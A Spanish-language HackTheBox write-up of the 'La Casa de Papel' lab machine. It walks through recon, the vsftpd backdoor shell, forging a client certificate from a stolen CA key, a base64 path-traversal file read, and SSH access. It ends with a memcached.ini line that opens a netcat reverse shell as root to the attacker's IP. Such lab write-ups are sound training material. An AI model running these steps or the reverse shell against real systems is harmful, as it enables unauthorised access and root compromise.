# La Casa de Papel - HackTheBox

👽Vamos a resolver una máquina Linux Nivel Easy de HackTheBox en la que tendremos un proceso de explotación un poco largo y tedioso y una escalada de privilegios rápida y sencilla para compensar.

Tocaremos PHP, crearemos certificados con OpenSSL, manejaremos claves rsa y acabaremos con una escalada muy sencilla💻.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164631722/51904ea1-95c4-49f3-9563-dab0b7b40ecc.png align="center")

[![HTBadge](https://www.hackthebox.eu/badge/image/533771 align="left")](https://www.hackthebox.com/home/users/profile/533771)

---

# Reconocimiento

## Reconocimiento de Puertos

Como en todo CTF comenzamos realizando un escaneo de puertos con la herramienta nmap.

```abap
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
```

A continuación procedo a realizar otro escaneo más detallado buscando servicios y versiones.

```abap
PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http     Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp open  ssl/http Node.js Express framework
|_http-title: La Casa De Papel
| tls-nextprotoneg: 
|   http/1.1
|_  http/1.0
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Unix
```

Como podemos ver tenemos la siguiente información relevante:

| Puerto | Servicio | Versión |
| --- | --- | --- |
| 21 | FTP | vsftpd 2.3.4 |
| 22 | SSH | OpenSSH 7.9 |
| 80 | HTTP | Node.js Express framework |
| 443 | HTTPS | Node.js Express framework |

> Además tenemos un vhost --&gt; **lacasadepapel.htb**

Añadiremos el vhost al archivo /etc/hosts

  
A continuación voy a comprobar si la versión del servicio **FTP** es vulnerable, ya que no tenemos acceso anónimo ni credenciales.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164774099/114a5857-48bd-4614-b1b0-fcfb90739f80.png align="center")

Como vemos hay un exploit disponible en metasploit, configuro todo correctamente y ejecuto el exploit, pero me arroja un error...

`The service on port 6200 does not appear to be a shell`

Nos arroja ese error, nos dice que en el puerto 6200 no hay una shell y en el escaneo nmap no se nos ha reportado ese puerto.

  
Así que intento conectarme al puerto 6200 con netcat.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164800492/53ea08f8-d6d6-4452-8598-6e60286617e3.png align="center")

Buscando información acerca de la Psy Shell encuentro que es una consola para desarrolladores en tiempo de ejecución, un depurador interactivo y REPL para php.

[https://psysh.org/](https://psysh.org/)

---

# Explotación

Podemos comprobar que al escribir un comando aparece lo siguiente:

`shell_exec() has been disabled for security reasons in phar://eval()'d code on line 1`

Pruebo a ejecutar otros comandos en php, como listar archivos o leer el contenido de los mismos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164841515/d251606a-5bb2-4299-8334-20896d20f66f.png align="center")

Ahora consigo leer el archivo passwd, por lo tanto tenemos la posibilidad de movernos por los directorios, listar archivos y leer algunos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164859748/d6f765de-62a2-42a8-99b4-3bbe829580f8.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164864036/cc24d91a-0d72-4f55-9a76-2c2538fe4ada.png align="center")

Tenemos varios usuarios, berlin, dali, nairobi, oslo y profesor

  
Tras enumerar en cada directorio encuentro una key en el directorio del usuario nairobi.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164876440/8e9aa00c-fe59-44b1-a7a9-e2f8ad374927.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164880433/1d4d5912-239b-4f60-bf7f-c88fdab8507f.png align="center")

Tenemos un certificado CA y debemos crear otro.

  
A continuación crearemos nuestro certificado usando openssl.

  
Creo un certificado x509 pasando la clave ca.key, usando cifrado sha256 durante 1024 días y lo sacamos al archivo elc4br4.pem

```bash
❯ openssl req -x509 -new -nodes -key ca.key -sha256 -days 1024 -out elc4br4.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:La Casa De Papel
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:lacasadepapel.htb
Email Address []:
```

Exportamos el archivo .pem a .p12

```bash
❯ openssl pkcs12 -export -in elc4br4.pem -inkey ca.key -out elc4br4.p12
Enter Export Password:
Verifying - Enter Export Password:
```

Ahora nos dirigimos a firefox, preferencias, buscamos certificados y le damos a ver certificados y click en Import y seleccionamos el archivo .p12

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164934371/06a031e4-b052-4b6b-9618-8db23e199360.png align="center")

Una vez le damos okey volvemos a la web y nos saltará un pop up al que clickaremos en ok y se nos recargará la página y aparece los siguiente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164944057/8d13e0b1-add6-4752-8d00-a9c6bc0b0a3d.png align="center")

Nos aparece Temporada 1 y Temporada 2  
Nos aparece lo siguiente al clickar en una de las temporadas.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164958155/0baa8738-d9f6-42b6-90bf-fa2253b5f954.png align="center")

Descargo el archivo pero no hay nada..., aunque en uno de ellos si que había data en base64, pero mo había nada de información de valor.

  
Así que pruebo a jugar con la ruta de la url, yendo hacia la raíz.

[`https://lacasadepapel.htb/?path=..`](https://lacasadepapel.htb/?path=..`)

Y aparece lo siguiente...

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164976769/95cecbb6-87fa-4f68-b6cb-919748c83806.png align="center")

El problema es que no nos dejar clickar sobre los archivos para leerlos... así que debemos manipular la url para intentar leerlos...

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724164989900/955ada0c-3165-4dfc-a147-2d3fadeb2095.png align="center")

Pero tampoco es posible leer los archivos, nos arroja un error... por lo que intenté otra forma.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724165015342/1a6a9a82-41b3-49aa-946e-6e6fe2f53c76.png align="center")

Si pruebo de esta forma no funciona tampoco, probaré a **encodearlo** en **base64**, ya que en uno de los archivos **.avi** había data irrelevante en **base64**.

  
Lo **encodeamos** y como vemos FUNCIONA!!!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724165033955/6936ea5e-27f8-4465-b109-69e40f0b8883.png align="center")

Ya he obtenido la bandera user, a continuación probaré a leer el archivo rsa para intentar conectarme por ssh.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724165046285/0b8b10ea-5893-4c3b-832f-8a35cc54dc88.png align="center")

Una vez lo tenemos nos conectamos por ssh probando con cada uno de los usuarios que encontramos anteriormente.

  
Consigo iniciar sesión con el usuario **professor.**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724165068269/3ef6de30-6709-44d9-93bd-a3a3f8a36ce9.png align="center")

---

# Escalada de Privilegios

En el directorio del usuario **professor** hay dos archivos.  

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724165087016/cca1bc79-47f2-4376-a997-724d39d802d9.png align="center")

El **script** ejecuta el contenido del archivo **memcached.ini**, por lo que si lo modificamos podríamos conseguir escalar privilegios...

  
Creamos un nuevo archivo **memcached.ini** ya que no puedo modificarlo.

```bash
[program:memcached]
command= sudo -u root /usr/bin/nc 10.10.14.2 9999 -e /bin/bash
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724165115759/6a44d4da-e71b-421f-a912-178f472cc649.png align="center")

Abrimos un oyente en **netcat** en el puerto 9999 y esperamos a recibir la conexión.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1724165163462/7c6df59b-250a-43e2-9757-19ddb59dd8ab.png align="center")
